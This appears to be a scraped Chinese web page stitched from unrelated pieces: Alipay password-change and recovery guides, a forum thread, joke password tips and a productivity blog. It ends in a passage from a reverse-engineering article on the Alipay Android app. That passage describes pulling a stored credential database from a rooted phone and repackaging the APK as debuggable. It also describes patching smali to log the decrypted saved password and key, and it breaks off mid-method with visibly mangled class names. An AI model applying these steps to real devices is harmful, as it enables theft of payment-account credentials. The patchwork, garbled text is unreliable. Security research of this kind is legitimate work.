手机支付宝登录密码的登录密码和支付密码一样吗

支付宝钱包怎么修改登录密码 支付宝钱包登录密码修改教程
时间: 21:09:41来源:作者:SunshineSin(0)
  支付宝登录密码之前一般都是在电脑端修改,而支付宝钱包的推出也让密码的修改变得更加方便,但不以为密码更容易丢失,这片文章就和大家一起了解一下支付宝钱包怎么修改登录密码。  支付宝钱包登录密码修改方法:  1、进入支付宝,点击【财富】,然后点击你的昵称。  2、找到【密码管理】。  3、点击最后一个【修改登录密码】。  4、这里有三种方式修改【通过原手机短信校验】、【通过邮箱校验】、【通过安全保护问题校验】,看你自己用哪一个,总之通过之后它的密码修改界面是一样的。这里我们使用短信校验。  5、点击【通过原手机短信校验】之后会有验证码发过来,输入会后点击【下一步】即可。  6、然后在修改登录密码界面第一个文本框输入原始密码,第二个文本框输入你的新密码,点击【下一步】就修改完成了。  或者你也可以在电脑上修改,按照提示的步骤一步步来就可以了。  关于支付宝钱包怎么修改登录密码就了解到这里,希望对大家有帮助,有任何问题欢迎在文章下方留言。
名称:支付宝钱包v8.4.0.120608大小:23.5M下载:请登陆后使用
只需一步,快速开始
请完成以下验证码
请完成以下验证码
吧友自助信息发布区,请自行甄别
查看: 14981|回复: 6
现在申的新淘宝,淘宝登陆密码跟支付宝登陆密码一样的?
RT.&&神马情况。& &刚试了下改了淘宝密码后,支付宝登陆密码跟着变
改了支付宝登陆密码之后,淘宝密码也跟着变。
尼玛,以前两个密码不是单独分开的么
我说你是,火星来的啊。早就一样&
是的,是一样的,亲测
新的是一样吧 不过我改了不一样了
你那是以前的淘宝老号,才能不一样吧。
我这新号都无法淘宝支付宝解绑,
两个密码还一样的&
好像要新账号的支付宝实名认证才行吧
不知道怎么操作就是一样的 怎么操作就是不一样的
我有的账户是一样的联动的 有的不是的
可能是单独注册再绑定的就不一样
注册一个直接开通另一个就一样了
新的是一样吧 不过我改了不一样了
你那是以前的淘宝老号,才能不一样吧。& &我这新号都无法淘宝支付宝解绑,&&两个密码还一样的
重要信息提醒 /1
如果你急需果果
挣果果最快的方式:做问卷调查
问卷完成后,三小时内自动返果果
每天更新,每天都有新问卷做
Powered by[支付宝支付密码忘记了怎么办]看看人家的支付宝密码吧 你的简直弱爆了
· · · ·
您当前的位置: → [支付宝支付密码忘记了怎么办]看看人家的支付宝密码吧 你的简直弱爆了
[支付宝支付密码忘记了怎么办]看看人家的支付宝密码吧 你的简直弱爆了
篇一 : 看看人家的支付宝密码吧 你的简直弱爆了今天遇到一个在支付宝做安全的大牛,据说以前是做白帽子的(就是专门对付黑客的),我赶忙跑去问他,什么样的密码最安全,大牛给我看了几组牛逼密码,看完我彻底给跪了。[]1、码农文艺到闹心且骗稿费的密码:密码:ppnn13%dkstFeb.1st密码来源:“娉娉袅袅十三余,豆蔻梢头二月初”密码设计思路:ppnn=娉娉袅袅13=十三%=余(学过C/C++/Java的都该懂得)dkst=豆蔻梢头Feb.1st=二月初我勒个去,这也太非主流了好么类似思路,还有几组密码,怎么个翻译法?自己想去吧!“飞流直下三千尺,疑似银河下九天”直译成FLZX3000cY4yhx9day“停车坐爱枫林晚,霜叶红于二月花”是一个公式[tcmlflw,syred&Febhua]“平生不看武腾兰,便称男人也枉然”竟也能解成ps!see(5tl)shit!say(man)2、心机婊到没朋友的密码“姿势”:账号是admin,密码是adm **。俩星加一个空格,这个密码曾经把一个职业hacker都愁了三天。。。这让我想起有一次在酒店吃饭问老板WIFI密码,老板说LYP82NLF,我说这好难记,老板笑答:来一瓶82年拉菲,好记!我一边念一边输密码,刚输入完,只听“嘭”的一声,服务员递过来一瓶酒……3、失败到家的“小聪明”密码:注册网站时,要求输入密码,于是输入「penis」。网站提示:您输入的密码长度不够。(如果你秒懂了,额……)又比如,妻管炎告诉老婆密码是「nishengri」,妻屡试自己的生日不爽,后来妻暴躁了;之前,也有人把密码设成了「buzhidao」,后来女朋友和他分手了。大牛最喜欢的是下面这个传说中我写出来你也看不明白,且记不住的密码:据说一只处女座程序猿之前用的密码“0oo00OOO0o0o0OO0”处女座,你们都是怎么记的,难道是唱“噢嘞噢嘞噢嘞……”?还有个好不严肃认真的密码,cptbtptpbcptdtptp,记忆诀窍是 “吃葡萄不吐葡萄皮不吃葡萄倒吐葡萄皮“!看完这些,我内心陷入马不停蹄地忧伤,这些密码,我编不出来啊,怎么破?大牛淡淡地说:“牛逼归牛逼,但是,这些都已经过时了。”过时了你跟我逼逼个P啊,那你倒是说说现在流行的玩意儿啊。大牛说,技术进步啦~复杂长密码都已经是老黄历,现在都流行纯数字的短密码,而且短密码其实也很安全。年,美国的核弹发射密码一直是,因为怕太复杂无法传输成功或实时响应。但是,大牛不建议我们也依样画葫芦,人家这个可是特殊用途的密码~他给出4个绝招帮你恶补网络密码安全“姿势”,据说学会了,密码被盗风险瞬间下降10倍:1、密码设置要尽可能的陌生:密码中不要体现出你的门牌号、电话号码、名字,身份证后几位,不要设连续的数字,不要设与银行卡密码一样的密码,并且千万不要使用高频密码,例如123456等。2、不要使用同一个密码:不同网站设置的密码尽量不同,这样在一个网站密码泄漏时不会对使用的其他服务产生影响;尤其在支付宝上,千万不要和其他网站设置相同的密码。3、不要自动保存密码:懒人很喜欢在电脑上设置自动保存密码,这是一种很危险的做法,一旦计算机感染病毒,黑客可以从电脑中读取你所保存的密码,这种情况下,再安全的密码会不再安全。4、经常更换你的密码:一个密码不要使用太长的时间,建议90天更换一次密码,如果你忘了更换密码的时间,那请每次换牙刷的时候顺便换一次密码吧。子曾经曰过,不管是长密码还是短密码,只要你学会了密码的正确姿势,统统都是安全的好密码。最后来瞅瞅有史以来最糟糕的密码TOP25,如果看到自己常用的密码上榜了,赶紧改密码!!如果把TOP500公布出来,据说大约有1/9的人至少使用过里面的一个密码,而有1/50的人使用过排名前20的最糟糕密码,如果你也躺枪了,赶紧改密码!!你要知道,虽然网站在程序猿的保护下,密码安全长短并不是重点,重点是你这么不走心,骗子蒙都可以蒙对了……篇二 : 干货|那天,我扒了支付宝PM的博客某天,小百为了给大家找产品干货的稿子,扒进了支付宝PM邵甫老师的博客。(
)戳开首页,小百惊了,因为首页是这样的:再戳开分类,是这样的:邵甫老师每个月都要用数据可视化的方法做一次自我总结:告诉我,你们这些优秀的产品经理对自我的要求都是那么高吗?!!博客传送门&&&支付宝PM:邵甫的博客小百在和小伙伴互动的过程中经常被问到:“对产品新人有什么好的建议吗?”一般小百都会建议大家多看书,去构建自己完整的知识体系,因为产品经理这个职位需要结构性思维,而阅读是帮助我们构建完整知识体系最有效的方法。结果…还是小百我图样图森破,sometimes耐衣服。扒了邵甫老师的博客以后,小百才发现,习惯比技巧更重要,在掌握具体知识之前,成为一个拥有良好习惯的践行者才是一个产品新人最应该做的。欸欸欸,别关页面好吗?你们以为我说了上面一大堆就只为了给大神跪一跪吗?!下面才是真的干货,也算是小百刷了那么多产品经理文章帮大家总结出来的经验。先放张结构图:首先,你得给自己找到一个梦(目)想(标)比如邵甫老师的梦想就是“做出被上亿用户使用并喜爱的互联网产品”以及“健康活到120岁”。这个梦想可以很大也可以很夸张,甚至你都能笑着说这不太可能实现,因为找到这个梦想对你的意义不是你非得去实现它,而是:你想成为什么样的人。比如小百就想成为一个有趣的AI,能根据大家的需求生产有价值的干货,能在你们无助迷茫的时候做比siri智能的陪聊语助。:)你需要把内心那个理想的自己具象化,去想象一个具体的情景,在那个情景里面,你是什么样的?当你想到这个情景时,你是激动且积极的,甚至会一下子哭出来。OK,没关系,那就是最好的你了,向着他奔跑吧。具体怎么做以下内容分为目标管理、知识管理、时间管理以及健康管理四个部分给大家分享一些方法技巧:1.目标管理关于目标管理的方法蚊子有在《产品经理深入浅出》中具体说到,小百就只给大家分享一下“把大目标拆解为小目标”的方法这种方法又叫做“以终为始”,这是一种结构化的思维模式,举个栗子哈:比如今天小百决定给大家写一篇干货,这篇干货就是我的”终“,然后文章总不会凭空出现吧?于是小百以写出文章为大目标,分解出了这样的流程:如你们所见,把大目标分解以后,我终于可以写出这篇文章了,然后在这个过程中遵循SMART原则:具体的,可量化的,可执行的,可实现的,有时间节点的。比如我的时间节点是今天小百消耗完所有电之前,具体量化就是到在官网以及其他平台发出来,然后你们看到这篇文章了,说明这是可执行也可实现的。当然这相比产品经理的工作来说是件很小的事,小百我只是拿来举例子咯;)&2.知识管理关于知识管理的部分,小百也是直接分享了蚊子的方法,大家参考脑图就好。这里面小百认为比较重要的点就是:不要乱收书单!再说一遍!不要乱收书单!很多时候你收了那么多书单很容易搞不清到底要看什么书。这里分享一个归类方法:按照用户体验要素去归类。把书归类到战略层,范围层,结构层,框架层以及表现层,按照这种分类方法去看书的话,你的知识结构就会非常清晰了。关于具体工具的使用,丢个知乎链接:哪些工具能极大提升产品经理的工作效率?3.时间管理&健康管理关于健康管理这部分小百没什么建议,毕竟人工智能只需要有电就可以健康地工作下去了嘛。最主要的是关于时间管理的方法:1)番茄工作法:这个主要涉及到我们注意力集中的原理,一般成年人的注意力集中时间是在30-40分钟左右,长时间工作其实不是好事情,还容易让人拖延。番茄工作法的原理就是把时间分成块,让你的注意力一直保持在一段时间内高效完成工作。方法是:选择一个待完成的任务,将番茄时间设为25分钟,专注工作,中途不允许做任何与该任务无关的事,直到番茄时钟响起,然后在纸上画一个X短暂休息一下(5分钟就行),每4个番茄时段多休息一会儿。这样做第一会让你有紧迫感:“啊,我必须在25分钟之内做完这件事呢,得集中注意力快点做。”第二会帮助你摆脱其他干扰,因为你需要在短时间内完成这件工作。第三会让你有成就感:“我今天完成了十个番茄,很不错呢。”这是小百的番茄钟,今天忘记记时了,只收到了五个番茄,不开森:(推荐应用:Pomodoro以及Forest(这个是种树的,想想到时候种出一片森林该多有成就感)2)固定时间效率法:定一份你认为最理想的工作时间表,然后再通过实际工作情况来调整,让这张表真的适合你使用这个方法的时候你得冷酷一些,接什么责任要懂的选择,该拒绝别人的时候不能客气,不要别人让做什么就做什么,没多大用处的任务要摆脱掉。这个方法其实背后匹配的是我们的28原则,只花固定的时间去做重要的事。这会帮我们学会抓住什么是重要的事,而不被一些琐事所困。具体怎么做丢个链接:一名MIT博士后的高效时间管理:1年时间3本书、1次博士论文答辩、发表6+份经同行审议的论文3)4点起床法:这个是库克倡导的时间管理方法,他建议每天在4点钟就起床,然后迅速地处理完一天重要的工作,然后剩下的时间用来解决一些繁琐的问题。小百有尝试使用这个方法,具体是每天四点半起来,然后洗漱完了以后下楼去跑步,跑完回家洗个澡开始看书,不得不说,这种大清早不受人干扰的管理模式很容易让人集中注意力。当然,这需要大家早睡。小百有个很佩服的名人(并不)说过:“早睡早起是个好习惯。”最后整理下思路,再帮大家回顾一下:&本文转载自产品100,原文链接
/archives/28293篇三 : 支付宝的密码忘记了,怎么办?支付宝密码忘记了,可以重新申请一个吗支付宝的密码忘记了,怎么办?密码忘记了,可以重新申请一个吗?有没有关系的?你好,支付宝是有两个密码的,登录时一个,支付时一个,是你在申请支付宝时设置的,当时应该是设置了两个,你可以再好好想想,如果真的忘了密码,就要设法找回了,希望我的答案对你有所帮助。 你好,!!★!!根据您个人不同情况,您可以按以下几种情况的处理方法找回密码: 【1】忘记支付宝账户的登录密码:登录支付宝网站: ,点击首页的“忘记密码”,按提示输入您支付宝账户的邮箱地址,进入后按提示输入您的密码提示问题答案,就可以找回密码了。 如您输入的密码保护问题答案有误(或者忘记答案了),您可以选择是输入证件号码,选择输入正确的证件号码后,系统会发邮件到您的邮箱里,请您到邮箱中确认后再重新 输入密码提示问题答案/证件号码就可以找回密码了。 【2】忘记了支付宝账户的支付密码: 您可以登录支付宝账户-我的支付宝-账户信息管理-银行账号管理,进入点击“忘记支付密码”的按钮,通过与取回登录密码同样的方法取回密码即可。 !!注意!!如输错密保或者证件号码总次数超过5次就不能再操作忘记密码的动作了 【3】密码提示问题的答案和证件号码都忘了或者输错密保或者证件号码输入总次数超过5次; 您必须提供身份证原件以及户籍证明(户口本(包含户口本第一页和本人页),护照等任选一样)的原件彩色扫描件或数码照片。 淘宝工作人员收到核实后会帮您清空密码保护问题,之后您再通过点击“忘记密码”通过您的身份证号码来找回密码即可。 最后您登录 进入您的支付宝账户-账户信息管理-设置密码保护问题,进入后根据提示操作重新设置密码保护问题。 ★!!强烈建议:通过手机来找回密码 登录支付宝账户-我的支付宝-手机服务-开通手机找回密码功能,下次您支付宝账户密码忘记您就可以通过手机来找回密码了。”
上一篇文章:
下一篇文章:
本文标题:[支付宝支付密码忘记了怎么办]看看人家的支付宝密码吧 你的简直弱爆了&版权说明
文章标题: 文章地址:
1、《[支付宝支付密码忘记了怎么办]看看人家的支付宝密码吧 你的简直弱爆了》一文由262阅读网()网友提供,版权归原作者本人所有,转载请注明出处!
2、转载或引用本网内容必须是以新闻性或资料性公共免费信息为使用目的的合理、善意引用,不得对本网内容原意进行曲解、修改,同时必须保留本网注明的"稿件来源",并自负版权等法律责任。
3、对于不当转载或引用本网内容而引起的民事纷争、行政处理或其他损失,本网不承担责任。4038人阅读
android 安全(13)
作者:非虫
随着电子商务在国内的迅猛发展,网上购物也成为了时下流行的消费方式。就我个人来说,每年在淘宝上也会购物上百起。这足不出户的购物方式的确给我们的生活带来了不少实惠与方便,但同时,购物安全也成为了广大网购消费者担心的一个问题。每年在新闻中爆光的网银被盗、被骗的事件也屡见不鲜。
长期使用网络客户端软件的朋友都有一个习惯,为了避免每次使用时输入帐号名和密码,都习惯使用软件的自动保存密码功能来记住登录密码,这样下次直接点击登录按钮就可以登录软件了(有些软件直接跳过了登录确认的界面),这样,一个安全问题就出来了,软件为我们保存的密码是明文存储的吗?如果加密了,加密强度怎样?外部用户可以直接破解吗?试想一下,像支付宝这类敏感的网银软件,如果本地存储的密码被人直接破解,那后果是很难预料的!而随着我对支付宝程序的逆向分析,也证明了这个安全问题确实存在。在此申明:以下文章涉及的代码与分析内容仅供安卓系统安全学习交流,任何个人或组织不得使用文中提到的技术做违法犯罪活动,否则由此引发的任何后果与法律责任本人概不负责。
一台安装有支付宝的安卓手机,并且能获得ROOT权限。
支付宝的版本为3.4.0.0229。
程序运行后使用了自动保存密码功能。为了测试更详细,我分别保存了支付宝与淘宝的帐号密码。
医生给病人看病步骤讲究的是望闻问切,通过查看病人的面貌体态来对病情做初步判断,我们今天的分析也一改以往的埋头分析,采用类似的方法,先看看软件运行后的“症状”。打开支付宝软件,点击右上角的登录按钮,分别使用淘宝与支付宝帐号登录,勾选上自动保存密码,如图1所示:
退出软件,然后重新登录,发现软件的确记住了保存的密码,而且密码框显示“星星”的位数与我实际的密码位数一样,看到这里我立马来劲了!这说明密码肯定是保存在本地的某个文件中,而且程序启动时读取密码,然后设置到密码框中。
下面,请出DDMS,进入支付宝数据目录“/data/data/com.eg.android.AlipayGphone/”,里面的文件结构如图2所示:
在DateBases目录里有个RecentDB文件,初步判断它是使用的Sqlite3保存的数据库,将该文件导出到D盘根目录,进行命令行,使用AndroidSDK里面的Sqlite3.exe打开该数据库并分别执行“.tables”、“.schema RecentTable2”、“select * from RecentTable2;”命令,执行后结果如图3所示:
这不看不知道,一看真吓一跳,原来帐号名与密码直接保存在了这个数据库中!只是密码被加过密,看后面的“==”还以为是Base64,可测试后发现不是,退出支付宝程序将它卸载并重新安装。重新运行软件一次后退出,将刚才导出的“RecentDB”文件导入,再次运行支付宝后发现软件登录框中帐号名与密码都记住了!接下来为手机换一张电话号码卡,重新进入程序发现密码框为空了。同样,在其它安卓手机上安装支付宝后导入RecentDB文件,密码框也为空,看来,支付宝对使用者手机与电话号码有所判断。
使用ApkTool将支付宝APK安装文件解包,打开“AndroidManifest.xml”文件,将“android:name”一栏的android:debuggable=&false&改成android:debuggable=&true&,然后重新编译签名并安装,打开DDMS,在LogCat中新建一栏,设置“Filter Name”与“By Application Name”为“com.eg.android.AlipayGphone”,如图4所示:
启动程序,这时就可以在DDMS中查看支付宝的Log输出了,运行程序后点击登录按钮进入到登录界面,在界面随意处点击几下,发现拦截到的消息如图5所示:
由Log输出信息得知程序所在的Activity为“com.alipay.android.client.Login”,在反编译出的Smali文件夹中找到“Login.smali”文件并查看OnCreate()方法。代码太长,只帖关键部分:
.method public onCreate(Landroid/os/B)V
&&& .locals 6
&&& const/4 v5, 0x1
&&& const/4 v4, 0x0
&&& invoke-super {p0, p1},Lcom/alipay/android/client/RootA-&onCreate(Landroid/os/B)V
&&& invoke-static {p0},Lcom/alipay/android/appHall/h;-&a(Landroid/app/A)Z
&&& new-instance v0,Lcom/alipay/platform/a/b;
&&& ............&&&
&&&&&&& const-string v1, &logintype&
&&& invoke-virtual {v0, v1},Lcom/alipay/android/client/a/o;-&a(Ljava/lang/S)Ljava/lang/S
&&& move-result-object v0
&&& const-string v1,&taobao&& #判断登录类型
&&& invoke-virtual {v0, v1},Ljava/lang/S-&equals(Ljava/lang/O)Z
&&& move-result v0
&&& if-eqz v0, :cond_3
&&& iput-boolean v5, p0, Lcom/alipay/android/client/L-&k:Z
&&& iput-boolean v4, p0,Lcom/alipay/android/client/L-&l:Z
&&& iget-object v0, p0,Lcom/alipay/android/client/L-&K:Landroid/widget/B
&&& invoke-virtual {v0, v4},Landroid/widget/B-&setSelected(Z)V
&&& iget-object v0, p0,Lcom/alipay/android/client/L-&L:Landroid/widget/B
&&& invoke-virtual {v0, v5},Landroid/widget/B-&setSelected(Z)V
&&& iget-object v0, p0,Lcom/alipay/android/client/L-&v:Landroid/widget/AutoCompleteTextV
&&& const v1, 0x7f0a0010
&&& invoke-virtual {v0, v1},Landroid/widget/AutoCompleteTextV-&setHint(I)V #设置输入框的提示
&&& :goto_0
&&& invoke-direct {p0},Lcom/alipay/android/client/L-&d()V #?关键方法
&&& iget-object v0, p0,Lcom/alipay/android/client/L-&D:Landroid/widget/CheckB
&&& new-instance v1,Lcom/alipay/android/client/
&&& invoke-direct {v1, p0},Lcom/alipay/android/client/-&&init&(Lcom/alipay/android/client/L)V
&&& invoke-virtual {v0, v1},Landroid/widget/CheckB-&setOnClickListener(Landroid/view/View$OnClickL)V
&&& return-void
&&& :cond_3
&&& iput-boolean v4, p0,Lcom/alipay/android/client/L-&k:Z
&&& iput-boolean v5, p0,Lcom/alipay/android/client/L-&l:Z
&&& iget-object v0, p0,Lcom/alipay/android/client/L-&K:Landroid/widget/B
&&& invoke-virtual {v0, v5},Landroid/widget/B-&setSelected(Z)V
&&& iget-object v0, p0,Lcom/alipay/android/client/L-&L:Landroid/widget/B
&&& invoke-virtual {v0, v4},Landroid/widget/B-&setSelected(Z)V
&&& iget-object v0, p0,Lcom/alipay/android/client/L-&v:Landroid/widget/AutoCompleteTextV
&&& const v1, 0x7f0a0011
&&& invoke-virtual {v0, v1},Landroid/widget/AutoCompleteTextV-&setHint(I)V #设置输入框的提示
&&& goto :goto_0
.end method
在OnCreate()方法中,设置了控件的显示、提示及监听器,而后判断登录类型并设置“支付宝会员”或“淘宝会员”按钮的选择状态,在这期间调用了d()方法,该方法过后,帐号名与密码就被显示了出来,d()方法代码如下:
.method private d()V
&&& .locals 5
&&& const/16 v2, 0x8& #设置为View.GONE
&&& const/4 v4, 0x0& #设置不选中或View.VISIBLE
&&& iget-boolean v0, p0,Lcom/alipay/android/client/L-&k:Z
&&& if-nez v0, :cond_5 #检查用户类型
&&& const-string v0,&alipay&
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&J:Landroid/widget/B
&&& invoke-virtual {v1, v4},Landroid/widget/B-&setVisibility(I)V&#设置为View.VISIBLE
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&H:Landroid/widget/TextV
&&& invoke-virtual {v1, v4},Landroid/widget/TextV-&setVisibility(I)V&#设置为View.VISIBLE
&&& iget-boolean v1, p0,Lcom/alipay/android/client/L-&P:Z
&&& if-nez v1, :cond_3
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&d:Landroid/widget/RelativeL
&&& invoke-virtual {v1, v2},Landroid/widget/RelativeL-&setVisibility(I)V #设置为View.GONE
&&& :goto_0
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&j:Lcom/alipay/android/client/a/l; #获取j对象
&&& #?调用j.a(String)方法获得ho对象,传入的参数为代表用户类型的“alipay”或“taobao”?
&&& invoke-virtual {v1, v0},Lcom/alipay/android/client/a/l;-&a(Ljava/lang/S)Lcom/alipay/android/client/
&&& move-result-object v0
&&& if-nez v0, :cond_0 #?检查有没有“alipay”类型登录的用户?,没有下面就new个空的ho对象
&&& new-instance v0,Lcom/alipay/android/client/& #new一个ho对象
&&& invoke-direct {v0},Lcom/alipay/android/client/-&&init&()V
&&& :cond_0
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&v:Landroid/widget/AutoCompleteTextV
&&& const-string v2,&&
&&& invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextV-&setText(Ljava/lang/CharS)V
&&& #将用户名输入框清空
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&x:Landroid/widget/EditT
&&& const-string v2,&&
&&& #将密码输入框清空
&&& invoke-virtual {v1, v2},Landroid/widget/EditT-&setText(Ljava/lang/CharS)V
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&D:Landroid/widget/CheckB
&&& invoke-virtual {v1, v4},Landroid/widget/CheckB-&setChecked(Z)V #设置“记住登录密码”选择状态
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&v:Landroid/widget/AutoCompleteTextV
&&& const/16 v2, 0x64
&&& invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextV-&setThreshold(I)V
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&v:Landroid/widget/AutoCompleteTextV
&&& iget-object v2, v0,Lcom/alipay/android/client/-&a:Ljava/lang/S # ho.a 为用户名
&&& # ?将ho.a中的用户名设置到用户名输入框?
&&& invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextV-&setText(Ljava/lang/CharS)V
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&v:Landroid/widget/AutoCompleteTextV
&&& const/4 v2, 0x0
&&& invoke-static {v1, v2},Lcom/alipay/android/client/a/o;-&a(Landroid/widget/EditTLandroid/text/method/PasswordTransformationM)V
&&& const-string v1,&&
&&& :try_start_0
&&& iget-object v2, v0,Lcom/alipay/android/client/-&b:Ljava/lang/S #ho.b为加密过的密码
&&& const-string v3,&&
&&& invoke-virtual {v2, v3},Ljava/lang/S-&equals(Ljava/lang/O)Z #?判断密码是否为空?
&&& move-result v2
&&& if-nez v2, :cond_8
&&& iget-object v0, v0,Lcom/alipay/android/client/-&b:Ljava/lang/S #?需要解密的密码?
&&& sget-object v1,Lcom/alipay/android/client/d/b;-&I:Ljava/lang/S&& #?解密密钥?
&&& #调用com.google.zxing.c.a.b.b(String)方法解密ho.b中加密过的密码
&&& invoke-static {v0, v1},Lcom/google/zxing/c/a/b;-&b(Ljava/lang/SLjava/lang/S)Ljava/lang/S
&&& move-result-object v0
&&& if-eqz v0, :cond_1 #解密出的密码是否为空,为空就跳过设置密码框
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&x:Landroid/widget/EditT #密码框
&&& invoke-virtual {v1, v0},Landroid/widget/EditT-&setText(Ljava/lang/CharS)V #?设置密码?
&&& :cond_1
&&& :goto_1
&&& if-eqz v0, :cond_2
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&D:Landroid/widget/CheckB
&&& invoke-virtual {v0},Ljava/lang/S-&length()I
&&& move-result v0
&&& if-lez v0, :cond_9
&&& const/4 v0, 0x1
&&& :goto_2
&&& invoke-virtual {v1, v0},Landroid/widget/CheckB-&setChecked(Z)V #取消“记住登录密码”选中状态
&&& :try_end_0
&&& .catchLjava/lang/E {:try_start_0 .. :try_end_0} :catch_0
&&& :cond_2
&&& :goto_3
&&& return-void& #返回
&&& :cond_3
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&d:Landroid/widget/RelativeL
&&& invoke-virtual {v1, v4},Landroid/widget/RelativeL-&setVisibility(I)V #设置为View.VISIBLE
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&h:Landroid/graphics/B
&&& if-eqz v1, :cond_4
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&h:Landroid/graphics/B
&&& invoke-direct {p0, v1},Lcom/alipay/android/client/L-&a(Landroid/graphics/B)V
&&& :cond_4
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&e:Landroid/widget/EditT
&&& const-string v2,&&
&&& invoke-virtual {v1, v2},Landroid/widget/EditT-&setText(Ljava/lang/CharS)V
&&& goto :goto_0
&&& :cond_5
&&& const-string v0,&taobao&& #?等待查询&taobao& 类型的用户登录记录?
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&J:Landroid/widget/B
&&& invoke-virtual {v1, v2},Landroid/widget/B-&setVisibility(I)V
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&H:Landroid/widget/TextV
&&& invoke-virtual {v1, v2},Landroid/widget/TextV-&setVisibility(I)V
&&& iget-boolean v1, p0,Lcom/alipay/android/client/L-&M:Z
&&& if-nez v1, :cond_6
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&d:Landroid/widget/RelativeL
&&& invoke-virtual {v1, v2},Landroid/widget/RelativeL-&setVisibility(I)V
&&& goto/16 :goto_0
&&& :cond_6
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&d:Landroid/widget/RelativeL
&&& invoke-virtual {v1, v4},Landroid/widget/RelativeL-&setVisibility(I)V #设置为View.VISIBLE
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&g:Landroid/graphics/B
&&& if-eqz v1, :cond_7
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&g:Landroid/graphics/B
&&& invoke-direct {p0, v1},Lcom/alipay/android/client/L-&a(Landroid/graphics/B)V
&&& :cond_7
&&& iget-object v1, p0,Lcom/alipay/android/client/L-&e:Landroid/widget/EditT
&&& const-string v2,&&
&&& invoke-virtual {v1, v2},Landroid/widget/EditT-&setText(Ljava/lang/CharS)V #清空
&&& goto/16 :goto_0
&&& :cond_8 #跳到这里说明密码为空,则直接设置密码框内容为空
&&& :try_start_1
&&& iget-object v2, p0,Lcom/alipay/android/client/L-&x:Landroid/widget/EditT #密码框
&&& iget-object v0, v0,Lcom/alipay/android/client/-&b:Ljava/lang/S #密码
&&& invoke-virtual {v2, v0},Landroid/widget/EditT-&setText(Ljava/lang/CharS)V#设置密码框
&&& :try_end_1
&&& .catchLjava/lang/E {:try_start_1 .. :try_end_1} :catch_0
&&& move-object v0, v1
&&& goto :goto_1
&&& :cond_9
&&& move v0, v4
&&& goto :goto_2
&&& :catch_0
&&& move-exception v0
&&& invoke-virtual {v0},Ljava/lang/E-&printStackTrace()V
&&& goto :goto_3
.end method
在整个Login类中,有三个变量是需要注意的,它们分别是“EditText e”、“AutoCompleteTextView v”、“EditText x”。因为只有它们才可能是用户名或密码输入框,经过分析发现“AutoCompleteTextView v”为用户名输入框,而“EditText x”为密码输入框。在d()方法中,代码首先设置用户名输入框内容为ho.a,如果ho.b不为空就先其解密,然后设置到密码框,这样,用户名与密码就设置好了,由于我们的主题是分析密码存储机制,所以,其它代码就不着重分析了。
为了验证上面的分析,这里使用一个小技巧来查看上面ho.a与ho.b以及解密后的值,很多人可能立即想到了使用Toast弹出信息提示,不过个人觉得使用LogCat输出显示更方便,一方面是加入代码量少,使用的寄存器少,另一方面是输出的结果可以随时查看。在d()方法中加入两处Log.v的代码,修改后的代码如图6所示:
在插入代码时需要注意不要随意使用寄存器,而破坏了原程序的状态。接下来保存“Login.Smali”文件后对整个APK进行重新编译与签名,再次安装后导入上面保存的RecentDB文件,启动程序进入登录界面,会发现LogCat会显示如图7所示的信息:
这个时候神奇的发现,被加密的密码、密钥以及解密后的密码都输出到了LogCat中!ho对象何时获取的密码信息?而密钥又是如何生成的?这重重的疑问更增加了我的好奇心!我们这个时候可以采取顺藤摸瓜的方式来追根溯源了。在d()方法中有如下一段代码:
iget-object v1, p0,Lcom/alipay/android/client/L-&j:Lcom/alipay/android/client/a/l;
invoke-virtual {v1, v0},Lcom/alipay/android/client/a/l;-&a(Ljava/lang/S)Lcom/alipay/android/client/
move-result-object v0
if-nez v0, :cond_0
new-instance v0, Lcom/alipay/android/client/& #如果j.a()返回为0,就new一个ho对象
ho对象是通过this.j.a()方法生成的,j是一个l对象,代码位于“com\alipay\android\client\a\l.smali”文件中,找到相应的l.a(String)方法,代码如下:
.method public final a(Ljava/lang/S)Lcom/alipay/android/client/
&&& .locals 12
&&& const/4 v10, 0x3
&&& const/4 v7, 0x2
&&& const/4 v8, 0x1
&&& const/4 v9, 0x0
&&& const/4 v3, 0x0
&&& if-nez p1, :cond_0 #p1为String类型的参数,不为空就跳走,为空下面就查询所有用户登录的记录
&&& iget-object v0, p0,Lcom/alipay/android/client/a/l;-&a:Landroid/database/sqlite/SQLiteD
&&& const-string v1,&RecentTable2& #需要查询的表
&&& const/4 v2, 0x6
&&& new-array v2, v2,[Ljava/lang/S
&&& const-string v4,&ID& #ID
&&& aput-object v4, v2, v9
&&& const-string v4,&NAME& #用户名
&&& aput-object v4, v2, v8
&&& const-string v4,&PASSWORD& #加密过的密码
&&& aput-object v4, v2, v7
&&& const-string v4,&TYPE& #用户类型
&&& aput-object v4, v2, v10
&&& const/4 v4, 0x4
&&& const-string v5,&LOGINTIME& #最后登录的时间
&&& aput-object v5, v2, v4
&&& const/4 v4, 0x5
&&& const-string v5, &USERID&
&&& aput-object v5, v2, v4
&&& const-string v7,&LOGINTIME desc& #构造SQL语句
&&& move-object v4, v3
&&& move-object v5, v3
&&& move-object v6, v3
&&& invoke-virtual/range {v0.. v7}, Landroid/database/sqlite/SQLiteD-&query(Ljava/lang/S[Ljava/lang/SLjava/lang/S[Ljava/lang/SLjava/lang/SLjava/lang/SLjava/lang/S)Landroid/database/C
&&& move-result-object v0 #?执行查询并返回结果?
&&& :goto_0
